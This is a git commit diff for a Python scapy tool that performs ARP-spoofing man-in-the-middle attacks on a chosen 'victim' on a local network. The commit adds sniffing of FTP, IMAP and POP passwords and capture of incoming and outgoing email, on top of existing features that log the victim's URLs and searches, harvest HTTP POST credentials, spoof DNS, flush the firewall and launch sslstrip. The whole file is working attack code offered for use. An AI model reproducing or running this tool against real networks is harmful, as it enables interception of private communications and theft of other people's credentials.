Now catches FTP, IMAP, and POP passwords as well as incoming and outgoing email messages

This commit is contained in:
DanMcInerney 2013-09-25 10:26:58 -06:00
parent 87849a4882
commit c0da8dc5e0

View file

@ -6,48 +6,28 @@ from scapy.all import *
conf.verb=0
#Below is necessary to receive a response to the DHCP packets because we're sending to 255.255.255.255 but receiving from the IP of the DHCP server
conf.checkIPaddr=0
import time
import sys
import threading
from threading import Thread
import argparse
import sys
import os
import signal
import base64
from subprocess import *
#Check if root
if not os.geteuid()==0:
sys.exit("\nPlease run as root\n")
#Create the arguments
parser = argparse.ArgumentParser()
parser.add_argument("-u", "--urlspy", help="Show all URLs the victim is browsing minus URLs that end in .jpg, .png, .gif, .css, and .js to make the output much friendlier. Also truncates URLs at 150 characters. Use -uv to print all URLs and without truncation.", action="store_true")
parser.add_argument("-d", "--dnsspy", help="Show all DNS resquests the victim makes. This has the advantage of showing HTTPS domains which the -u option will not but does not show the full URL the victim is requesting.", action="store_true")
parser.add_argument("-ip", "--ipaddress", help="Enter IP address of victim and skip the arp ping at the beginning.")
parser.add_argument("-dn", "--driftnet", help="Open an xterm window with driftnet.", action="store_true")
parser.add_argument("-ssl", "--sslstrip", help="Open an xterm window with sslstrip and output to sslstrip.txt", action="store_true")
parser.add_argument("-uv", "--verboseURL", help="Shows all URLs the victim visits", action="store_true")
parser.add_argument("-d", "--driftnet", help="Open an xterm window with driftnet.", action="store_true")
parser.add_argument("-s", "--sslstrip", help="Open an xterm window with sslstrip and output to sslstrip.txt", action="store_true")
parser.add_argument("-v", "--verboseURL", help="Shows all URLs the victim visits", action="store_true")
parser.add_argument("-dns", "--dnsspoof", help="Spoof DNS responses of a specific domain. Enter domain after this argument")
parser.add_argument("-p", "--post", help="Print the URL the victim POSTs to, show usernames and passwords in unsecure HTTP POSTs", action="store_true")
parser.add_argument("-s", "--search", help="Print victim's search queries", action="store_true")
parser.add_argument("-p", "--post", help="Print the URL the victim POSTs to, show usernames/passwords in unsecure HTTP POSTs, show FTP usernames/passwords", action="store_true")
parser.add_argument("-w", "--write", help="Write to logfile", action="store_true")
parser.add_argument("-i", "--interface", help="Choose the interface to use. Default is the first one that shows up in `ip route`")
args = parser.parse_args()
# /dev/null, send output from programs so they don't print to screen.
DN = open(os.devnull, 'w')
#Find the gateway and use it as the router's info
ipr = Popen(['ip', 'route'], stdout=PIPE, stderr=DN)
ipr = ipr.communicate()[0]
routerRE = re.search('default via ((\d{2,3}\.\d{1,3}\.\d{1,4}\.)\d{1,3}) \w+ (\w[a-zA-Z0-9]\w[a-zA-Z0-9][0-9]?)', ipr)
routerIP = routerRE.group(1)
IPprefix = routerRE.group(2)
if args.interface:
interface = args.interface
else:
interface = routerRE.group(3)
localIP = [x[4] for x in scapy.all.conf.route.routes if x[2] != '0.0.0.0'][0]
localMAC = get_if_hwaddr(interface)
#Console colors
W = '\033[0m' # white (normal)
R = '\033[31m' # red
@ -59,73 +39,62 @@ C = '\033[36m' # cyan
GR = '\033[37m' # gray
T = '\033[93m' # tan
print "Checking the DHCP and DNS server addresses...\n"
dhcp = (Ether(dst='ff:ff:ff:ff:ff:ff')/
IP(src="0.0.0.0",dst="255.255.255.255")/
UDP(sport=68,dport=67)/
BOOTP(chaddr='E3:2E:F4:DD:8R:9A')/
DHCP(options=[("message-type","discover"),
("param_req_list",
chr(DHCPRevOptions["router"][0]),
chr(DHCPRevOptions["domain"][0]),
chr(DHCPRevOptions["server_id"][0]),
chr(DHCPRevOptions["name_server"][0]),
), "end"]))
# /dev/null, send output from programs so they don't print to screen.
oldack = None
oldload = None
oldurl = None
oldhttp = None
if args.write:
logger = open('interceptlog.txt', 'w+')
ans, unans = srp(dhcp, timeout=6, retry=1)
if ans:
for s,r in ans:
DHCPopt = r[0][DHCP].options
DHCPsrvr = r[0][IP].src
for x in DHCPopt:
if 'domain' in x:
local_domain = x[1]
pass
else:
local_domain = 'None'
if 'name_server' in x:
DNSsrvr = x[1]
else:
print "No answer to DHCP packet sent to find the DNS server. Setting DNS and DHCP server to router IP.\n"
DNSsrvr = routerIP
DHCPsrvr = routerIP
local_domain = 'None'
if args.ipaddress:
victimIP = args.ipaddress
else:
ans,unans = arping(IPprefix+'*')
for s,r in ans:
ips = r.sprintf("%ARP.hwsrc% %ARP.psrc%")
print ips
victimIP = raw_input('\nType victim\'s IP: ')
print ''
def originalMAC(ip):
class Spoof():
def originalMAC(self, ip):
# srp is for layer 2 packets with Ether layer, sr is for layer 3 packets like ARP and IP
ans,unans = srp(Ether(dst="ff:ff:ff:ff:ff:ff")/ARP(pdst=ip), timeout=5, retry=3)
for s,r in ans:
return r.sprintf("%Ether.src%")
def poison(routerIP, victimIP):
send(ARP(op=2, pdst=victimIP, psrc=routerIP, hwdst="ff:ff:ff:ff:ff:ff"))
send(ARP(op=2, pdst=routerIP, psrc=victimIP, hwdst="ff:ff:ff:ff:ff:ff"))
def restore(routerIP, victimIP, routerMAC, victimMAC):
def poison(self, routerIP, victimIP, routerMAC, victimMAC):
send(ARP(op=2, pdst=victimIP, psrc=routerIP, hwdst=victimMAC))
send(ARP(op=2, pdst=routerIP, psrc=victimIP, hwdst=routerMAC))
def restore(self, routerIP, victimIP, routerMAC, victimMAC):
send(ARP(op=2, pdst=routerIP, psrc=victimIP, hwdst="ff:ff:ff:ff:ff:ff", hwsrc=victimMAC), count=3)
send(ARP(op=2, pdst=victimIP, psrc=routerIP, hwdst="ff:ff:ff:ff:ff:ff", hwsrc=routerMAC), count=3)
def URL(pkt):
global host, get, post, url
if pkt.haslayer(Raw) and pkt.haslayer(Ether):
if pkt[Ether].src == victimMAC:
pkt = repr(pkt[Raw].load)
try:
headers, body = pkt.split(r"\r\n\r\n")
except:
headers = pkt
body = ''
class Parser():
headersFound = []
IMAPauth = 0
IMAPdest = ''
POPauth = 0
POPdest = ''
def start(self, pkt):
if pkt.haslayer(Raw) and pkt.haslayer(Ether) and pkt.haslayer(TCP):
if pkt[Ether].src == victimMAC:
self.URL(pkt)
self.mailspy(pkt)
def URL(self, pkt):
global oldack, oldload, oldurl, oldhttp
host = None
get = None
post = None
url = None
#Split the packet between headers and body and grab the URL from the headers
ack = pkt[TCP].ack
pktload = repr(pkt[Raw].load).replace("'", "")
dport = pkt[TCP].dport
sport = pkt[TCP].sport
#If you see any other login variable names, tell me and I'll add em in here
user_regex = '(([Ee]mail|[Uu]ser|[Uu]sername|[Nn]ame|[Ll]ogin|[Ll]og|[Ll]ogin[Ii][Dd])=([^&][^&]*))'
pw_regex = '(([Pp]assword|[Pp]ass|[Pp]asswd|[Pp]wd|[Pp]assw)=([^&][^&]*))'
try:
headers, body = pktload.split(r"\r\n\r\n")
except:
headers = pktload
body = ''
header_lines = headers.split(r"\r\n")
for l in header_lines:
searchHost = re.search('[Hh]ost: ', l)
@ -140,57 +109,35 @@ def URL(pkt):
if searchPost:
post = l.split(' ')
post = post[1]
#If a packet with data is retrasmitted amongst multiple packets this will catch all the split up parts that are lacking in features of a normal packet
if args.post and len(pkt) < 450:
if body != '':
username = re.findall('(([Ee]mail|[Uu]ser|[Uu]sername|[Nn]ame|[Ll]ogin|[Ll]og)=([^&][^&]*))', body)
password = re.findall('(([Pp]assword|[Pp]ass|[Pp]asswd|[Pp]wd|[Pp]assw)=([^&][^&]*))', body)
if username != [] or password != []:
print T+'[+] Packet may\'ve been split. Load data:',body+W
for x in username:
for u in x:
if '=' in u:
print R+u+W
for y in password:
for p in y:
if '=' in p:
print R+p+W
if not get:
username = re.findall('(([Ee]mail|[Uu]ser|[Uu]sername|[Nn]ame|[Ll]ogin|[Ll]og)=([^&][^&]*))', headers)
password = re.findall('(([Pp]assword|[Pp]ass|[Pp]asswd|[Pp]wd|[Pp]assw)=([^&][^&]*))', headers)
if username != [] or password != []:
print T+'[+] Packet may\'ve been split. Load data:',headers+W
for x in username:
for u in x:
if '=' in u:
print R+u+W
for y in password:
for p in y:
if '=' in p:
print R+p+W
if host and get:
url = host+get
if host and post:
url = host+post
if url == None:
return
if args.post and post:
if body != '':
print B+'[+] POST:',url,'HTTP POST load:',body+W
username = re.findall('(([Ee]mail|[Uu]ser|[Uu]sername|[Nn]ame|[Ll]ogin|[Ll]og)=([^&][^&]*))', body)
password = re.findall('(([Pp]assword|[Pp]ass|[Pp]asswd|[Pp]wd|[Pp]assw)=([^&][^&]*))', body)
for x in username:
for u in x:
if '=' in u:
print R+u+W
for y in password:
for p in y:
if '=' in p:
print R+p+W
#Catch fragmented packet passwords, and FTP passwords
if args.post:
#Catch fragmented packet passwords
if oldack == ack and oldload and oldhttp == 'post':
combined_load = oldload + pktload
print B+'[+] fragmented POST:',oldurl,'HTTP POST load:',body+W
username = re.findall(user_regex, combined_load)
password = re.findall(pw_regex, combined_load)
self.user_pass(username, password)
#Catch FTP passwords
if dport == 21:
load = pktload.replace(r"\r\n", "")
if 'USER ' in load:
print R+'FTP '+load+W
if args.write:
logger.write('FTP'+load+'\n')
if 'PASS ' in load:
print R+'FTP '+load+W
if args.write:
logger.write('FTP'+load+'\n')
#Catch search terms, print url, print post loads
if url != None:
#Print the URL
if args.urlspy:
d = ['.jpg', '.jpeg', '.gif', '.png', '.css', '.ico', '.js']
if any(i in url for i in d):
@ -199,48 +146,195 @@ def URL(pkt):
print url[:149]
else:
print url
if args.verboseURL:
print url
if args.search:
searched = re.search('((search|query|search\?q|\?s|&q|\?q|search\?p|keywords)=([^&][^&]*))', url)
#Catch search terms
searched = re.search('((search|query|search\?q|\?s|&q|\?q|search\?p|keywords|command)=([^&][^&]*))', url)
if searched:
searched = searched.group(3)
if 'select%20*%20from' in searched:
pass
else:
searched = searched.replace('+', ' ').replace('%20', ' ').replace('%3F', '?').replace('%27', '\'').replace('%40', '@').replace('%24', '$').replace('%3A', ':').replace('%3D', '=').replace('%22', '\"').replace('%24', '$')
print T+'[+] Searched %s for:' % host,searched+W
if args.write:
logger.write('[+] Searched %s for: ' % host+searched+'\n')
#Print POST load
if post:
if 'ocsp.' in url:
print B+'[+] POST:',url+W
else:
print B+'[+] POST:',url,'HTTP POST load:',body+W
if body != '':
username = re.findall(user_regex, body)
password = re.findall(pw_regex, body)
self.user_pass(username, password)
oldhttp = 'post'
oldload = pktload
oldack = ack
oldurl = url
if not post:
oldhttp = None
host = None
get = None
post = None
url = None
def DNSreq(pkt):
if pkt.haslayer(DNSQR):
dnsreq = pkt[DNSQR].qname
print dnsreq
def user_pass(self, username, password):
if username:
for x in username:
for u in x:
if '=' in u:
print R+u+W
if args.write:
logger.write(u+'\n')
if password:
for y in password:
for p in y:
if '=' in p:
print R+p+W
if args.write:
logger.write(p+'\n')
def mkspoof(DNSpkt):
ip=DNSpkt[IP]
dnsLayer=DNSpkt[DNS]
# qr = query or response (0,1), aa=are the nameservers authoritative? (0,1), ad=authenticated data (0,1)
p = IP(dst=ip.src, src=ip.dst)/UDP(dport=ip.sport, sport=ip.dport)/DNS(id=dnsLayer.id, qr=1, aa=1, qd=dnsLayer.qd, an=DNSRR(rrname=dnsLayer.qd.qname, ttl=10, rdata=localIP))
return p
def mailspy(self, pkt):
dport = pkt[TCP].dport
sport = pkt[TCP].sport
MAC_dst = pkt[Ether].dst
MAC_src = pkt[Ether].src
mail_ports = [143, 110, 26]
if dport in mail_ports or sport in mail_ports:
load = repr(pkt[Raw].load).replace("'", "")
try:
headers, body = load.split(r"\r\n\r\n", 1)
except:
headers = load
body = ''
header_lines = headers.split(r"\r\n")
email_headers = ['Date: ', 'Subject: ', 'To: ', 'From: ']
# Find passwords
if dport in [110, 143, 26]:
IP_dst = pkt[IP].dst
self.passwords(IP_dst, load, dport)
# Find outgoing messages
if dport == 26:
self.outgoing(load, body, header_lines, email_headers, MAC_src)
# Find incoming msgs
if MAC_dst == victimMAC:
if sport in [110, 143]:
self.incoming(headers, body, header_lines, email_headers)
class urlspy(threading.Thread):
def run(self):
def passwords(self, IP_dst, load, dport):
if dport == 143:
if self.IMAPauth == 1 and IP_dst == self.IMAPdest:
print R+'[!] IMAP user and pass found: '+load+W
if args.write:
logger.write('[!] IMAP user and pass found: '+load+'\n')
self.decode(load, dport)
self.IMAPauth = 0
self.IMAPdest = ''
if "authenticate plain" in load:
self.IMAPauth = 1
self.IMAPdest = IP_dst
if dport == 110:
if self.POPauth == 1 and IP_dst == self.POPdest:
print R+'[!] POP user and pass found: '+load+W
if args.write:
logger.write('[!] POP user and pass found: '+load+'\n')
self.decode(load, dport)
self.POPauth = 0
self.POPdest = ''
if "AUTH PLAIN" in load:
self.POPauth = 1
self.POPdest = IP_dst
if dport == 26:
if 'AUTH PLAIN ' in load:
print R+'[!] POP authentication found: '+load+W
if args.write:
logger.write('[!] POP authentication found: '+load+'\n')
self.decode(load, dport)
def outgoing(self, headers, body, header_lines, email_headers, MAC_src):
if MAC_src == victimMAC:
if 'Message-ID' in headers:
for l in header_lines:
for x in email_headers:
if x in l:
self.headersFound.append(l)
if len(self.headersFound) > 3:
print O+'[!] OUTGOING MESSAGE'+W
if args.write:
logger.write('[!] OUTGOING MESSAGE\n')
for x in self.headersFound:
print O+' ',x+W
if args.write:
logger.write(' '+x+'\n')
self.headersFound = []
if body != '':
print O+' Message:',body+W
if args.write:
logger.write(' Message:'+body+'\n')
def incoming(self, headers, body, header_lines, email_headers):
if 'FETCH' not in headers:
for l in header_lines:
for x in email_headers:
if x in l:
self.headersFound.append(l)
if len(self.headersFound) > 3:
print O+'[!] INCOMING MESSAGE'+W
if args.write:
logger.write('[!] INCOMING MESSAGE\n')
for x in self.headersFound:
print O+' '+x+W
if args.write:
logger.write(' '+x+'\n')
self.headersFound = []
if body != '':
try:
beginning = body.split(r"\r\n")[0]
message = str(body.split(r"\r\n\r\n", 1)[1:]).replace('[', '', 1)
message = message.split(beginning)[0]
print O+' Message:', message+W
if args.write:
logger.write(' Message:'+message+'\n')
except:
print O+' Couldn\'t format message body:', body+W
def decode(self, load, dport):
if dport == 26:
try:
b64str = load.replace("AUTH PLAIN ", "").replace(r"\r\n", "")
b64decode = base64.b64decode(b64str)
print R+'[!] Decoded:'+b64decode+W
if args.write:
logger.write('[!] Decoded: '+b64decode+'\n')
except:
pass
else:
try:
b64str = load.replace(r"\r\n", "")
b64decode = base64.b64decode(b64str)
print R+'[!] Decoded:',b64decode+W
if args.write:
logger.write('[!] Decoded: '+b64decode+'\n')
except:
pass
class Threads():
def urlspy(self, victimIP, interface):
# This is in case you need to test the program without an actual victim
# sniff(store=0, filter='port 80', prn=URL, iface=interface)
sniff(store=0, filter='port 80 and host %s' % victimIP, prn=URL, iface=interface)
# sniff(store=0, filter='port 80 or port 21', prn=URL, iface=interface)
sniff_filter = '(port 80 or port 21 or port 143 or port 110 or port 26) and host %s' % victimIP
sniff(store=0, filter=sniff_filter, prn=Parser().start, iface=interface)
class dnsspy(threading.Thread):
def run(self):
sniff(store=0, filter='port 53 and host %s' % victimIP, prn=DNSreq, iface=interface)
class dnsspoof(threading.Thread):
def run(self):
def dnsspoof(self, victimIP):
while 1:
a=sniff(filter='port 53 or port 80 and host %s' % victimIP, count=1, promisc=1)
a=sniff(filter='port 53 and host %s' % victimIP, count=1, promisc=1)
DNSpkt = a[0]
if not DNSpkt.haslayer(DNSQR):
continue
@ -248,38 +342,51 @@ class dnsspoof(threading.Thread):
send(mkspoof(DNSpkt))
print G + '[+] Spoofed:', DNSpkt.qd.qname + W
class sslstrip(threading.Thread):
def run(self):
def sslstrip(self, DN):
print 'Redirecting traffic to port 10000 and starting sslstrip\n'
iptables = ['iptables', '-t', 'nat', '-A', 'PREROUTING', '-p', 'tcp', '--destination-port', '80', '-j', 'REDIRECT', '--to-port', '10000']
Popen(iptables, stdout=PIPE, stderr=DN)
xterm = ['xterm', '-e', 'sslstrip', '-f', '-w', 'sslstrip.txt']
Popen(xterm, stdout=PIPE, stderr=DN)
class driftnet(threading.Thread):
def run(self):
def driftnet(self, interface, DN):
xterm = ['xterm', '-e', 'driftnet', '-i', '%s' % interface]
Popen(xterm, stdout=PIPE, stderr=DN)
def start_threads(self, victimIP, interface, DN):
if args.urlspy or args.verboseURL or args.post:
u = Thread(target=self.urlspy, args=(victimIP, interface))
#Make sure the thread closes with the main program on Ctrl-C
u.daemon = True
u.start()
if args.driftnet:
dr = Thread(target=self.driftnet, args=(interface, DN))
dr.daemon = True
dr.start()
if args.sslstrip:
ssl = Thread(target=self.sslstrip, args=(DN,))
ssl.daemon = True
ssl.start()
if args.dnsspoof:
dns = Thread(target=self.dnsspoof, args=(victimIP,))
dns.daemon = True
dns.start()
#Print all the variables
def print_vars(interface, DHCPsrvr, dnsIP, local_domain, routerIP, victimIP):
print "[+] Active interface: " + interface
print "[+] Local IP: " + localIP
print "[+] Interface MAC: " + localMAC
print "[+] DHCP server: " + DHCPsrvr
print "[+] DNS server: " + DNSsrvr
print "[+] DNS server: " + dnsIP
print "[+] Local domain: " + local_domain
print "[+] Router IP: " + routerIP
print "[+] Client IP: " + victimIP
try:
routerMAC = originalMAC(routerIP)
print "[+] Router MAC: " + routerMAC
victimMAC = originalMAC(victimIP)
print "[+] Victim MAC: " + victimMAC
except:
sys.exit("Could not get MAC addresses")
def ip_flush_forward(DN):
ipfwd = Popen(['cat', '/proc/sys/net/ipv4/ip_forward'], stdout=PIPE, stderr=DN)
if not ipfwd.communicate()[0] == '1':
if ipfwd.communicate()[0] != '1\n':
f = open('/proc/sys/net/ipv4/ip_forward', 'r+')
f.write('1')
f.write('1\n')
f.close()
print '[+] Enabled IP forwarding'
Popen(['iptables', '-F'], stdout=PIPE, stderr=DN)
@ -289,54 +396,121 @@ Popen(['iptables', '-t', 'nat', '-X'], stdout=PIPE, stderr=DN)
print '[+] Flushed the firewall\n'
def main():
#For use in URL_cb, mailspy respectively
global victimMAC, victimIP
if args.urlspy or args.verboseURL or args.post or args.search:
ug = urlspy()
#Make sure the thread closes with the main program on Ctrl-C
ug.daemon = True
ug.start()
#Check if root
if not os.geteuid()==0:
sys.exit("\nPlease run as root\n")
if args.dnsspy:
dt = dnsspy()
dt.daemon = True
dt.start()
DN = open(os.devnull, 'w')
if args.driftnet:
dr = driftnet()
dr.daemon = True
dr.start()
if args.ipaddress:
victimIP = args.ipaddress
else:
ans,unans = arping(IPprefix+'*')
for s,r in ans:
ips = r.sprintf("%ARP.hwsrc% %ARP.psrc%")
print ips
victimIP = raw_input('\nType victim\'s IP: ')
print ''
if args.sslstrip:
ssl = sslstrip()
ssl.daemon = True
ssl.start()
#Find the gateway and interface
ipr = Popen(['ip', 'route'], stdout=PIPE, stderr=DN)
ipr = ipr.communicate()[0]
routerRE = re.search('default via ((\d{2,3}\.\d{1,3}\.\d{1,4}\.)\d{1,3}) \w+ (\w[a-zA-Z0-9]\w[a-zA-Z0-9][0-9]?)', ipr)
routerIP = routerRE.group(1)
IPprefix = routerRE.group(2)
if args.interface:
interface = args.interface
else:
interface = routerRE.group(3)
if args.dnsspoof:
ds = dnsspoof()
ds.daemon = True
ds.start()
print "[+] Checking the DHCP and DNS server addresses..."
dhcp = (Ether(dst='ff:ff:ff:ff:ff:ff')/
IP(src="0.0.0.0",dst="255.255.255.255")/
UDP(sport=68,dport=67)/
BOOTP(chaddr='E3:2E:F4:DD:8R:9A')/
DHCP(options=[("message-type","discover"),
("param_req_list",
chr(DHCPRevOptions["router"][0]),
chr(DHCPRevOptions["domain"][0]),
chr(DHCPRevOptions["server_id"][0]),
chr(DHCPRevOptions["name_server"][0]),
), "end"]))
ans, unans = srp(dhcp, timeout=6, retry=1)
if ans:
for s,r in ans:
DHCPopt = r[0][DHCP].options
DHCPsrvr = r[0][IP].src
for x in DHCPopt:
if 'domain' in x:
local_domain = x[1]
pass
else:
local_domain = 'None'
if 'name_server' in x:
dnsIP = x[1]
else:
print "[!] No answer to DHCP packet sent to find the DNS server. Setting DNS and DHCP server to router IP."
dnsIP = routerIP
DHCPsrvr = routerIP
local_domain = 'None'
print_vars(interface, DHCPsrvr, dnsIP, local_domain, routerIP, victimIP)
try:
routerMAC = Spoof().originalMAC(routerIP)
print "[+] Router MAC: " + routerMAC
except:
sys.exit("[!] Could not get router MAC address")
try:
victimMAC = Spoof().originalMAC(victimIP)
print "[+] Victim MAC: " + victimMAC
except:
sys.exit("[!] Could not get victim MAC address")
if not dnsIP == routerIP:
try:
dnsMAC = Spoof().originalMAC(dnsIP)
print "[+] DNS server MAC: " + dnsMAC
except:
print "[!] Could not get DNS server MAC address"
sys.exit("[!] Could not get victim MAC address")
ip_flush_forward(DN)
Threads().start_threads(victimIP, interface, DN)
def signal_handler(signal, frame):
print 'learing iptables, sending healing packets, and turning off IP forwarding...'
restore(routerIP, victimIP, routerMAC, victimMAC)
restore(routerIP, victimIP, routerMAC, victimMAC)
f = open('/proc/sys/net/ipv4/ip_forward', 'r+')
f.write('0')
f.close()
if args.write:
logger.close()
if args.dnsspoof:
q.unbind(socket.AF_INET)
q.close()
if not dnsIP == routerIP:
Spoof().restore(routerIP, dnsIP, routerMAC, dnsMAC)
Spoof().restore(routerIP, dnsIP, routerMAC, dnsMAC)
Popen(['iptables', '-F'], stdout=PIPE, stderr=DN)
Popen(['iptables', '-t', 'nat', '-F'], stdout=PIPE, stderr=DN)
Popen(['iptables', '-X'], stdout=PIPE, stderr=DN)
Popen(['iptables', '-t', 'nat', '-X'], stdout=PIPE, stderr=DN)
Spoof().restore(routerIP, victimIP, routerMAC, victimMAC)
Spoof().restore(routerIP, victimIP, routerMAC, victimMAC)
sys.exit(0)
signal.signal(signal.SIGINT, signal_handler)
while 1:
poison(routerIP, victimIP)
if not DNSsrvr == routerIP:
poison(DNSsrvr, victimIP)
Spoof().poison(routerIP, victimIP, routerMAC, victimMAC)
if not dnsIP == routerIP:
Spoof().poison(dnsIP, victimIP, dnsMAC, victimMAC)
time.sleep(1.5)
if __name__ == "__main__":
main()
#To do:
#use iptables to block dns responses from the router to prevent race condition in dns spoofing